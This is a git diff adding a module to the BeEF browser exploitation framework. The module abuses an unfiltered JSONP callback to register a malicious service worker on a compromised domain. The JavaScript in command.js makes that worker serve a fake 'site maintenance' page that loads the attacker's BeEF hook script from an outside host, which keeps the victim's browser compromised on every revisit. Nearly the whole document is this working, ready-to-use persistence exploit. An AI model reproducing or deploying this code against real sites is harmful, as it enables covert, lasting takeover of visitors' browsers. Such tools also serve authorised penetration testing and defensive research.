diff --git a/modules/persistence/jsonp_service_worker/command.js b/modules/persistence/jsonp_service_worker/command.js new file mode 100644 index 000000000..2015fa955 --- /dev/null +++ b/modules/persistence/jsonp_service_worker/command.js @@ -0,0 +1,14 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var scriptElem = document.createElement("script"); + var hook = encodeURIComponent(beef.net.hook); + var tempBody = encodeURIComponent('<%=@tempBody%>'); + scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; + $j("body").append(scriptElem); + beef.net.send("<%= @command_url %>", <%=@command_id%>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected."); +}); diff --git a/modules/persistence/jsonp_service_worker/config.yaml b/modules/persistence/jsonp_service_worker/config.yaml new file mode 100644 index 000000000..7e73e208b --- /dev/null +++ b/modules/persistence/jsonp_service_worker/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + jsonp_service_worker: + enable: true + category: "Persistence" + name: "JSONP Service Worker" + description: "This module will exploit an unfiltered callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain" + authors: ["clod81"] + target: + working: ["C"] + not_working: ["ALL"] diff --git a/modules/persistence/jsonp_service_worker/module.rb b/modules/persistence/jsonp_service_worker/module.rb new file mode 100644 index 000000000..cba8c137c --- /dev/null +++ b/modules/persistence/jsonp_service_worker/module.rb @@ -0,0 +1,14 @@ +class Jsonp_service_worker < BeEF::Core::Command + + def post_execute + save({'result' => @datastore['result']}) + end + + def self.options + return [ + {'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='}, + {'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users', 'value' => '

Unplanned site maintenance, please wait a few seconds, we are almost done.

'} + ] + end + +end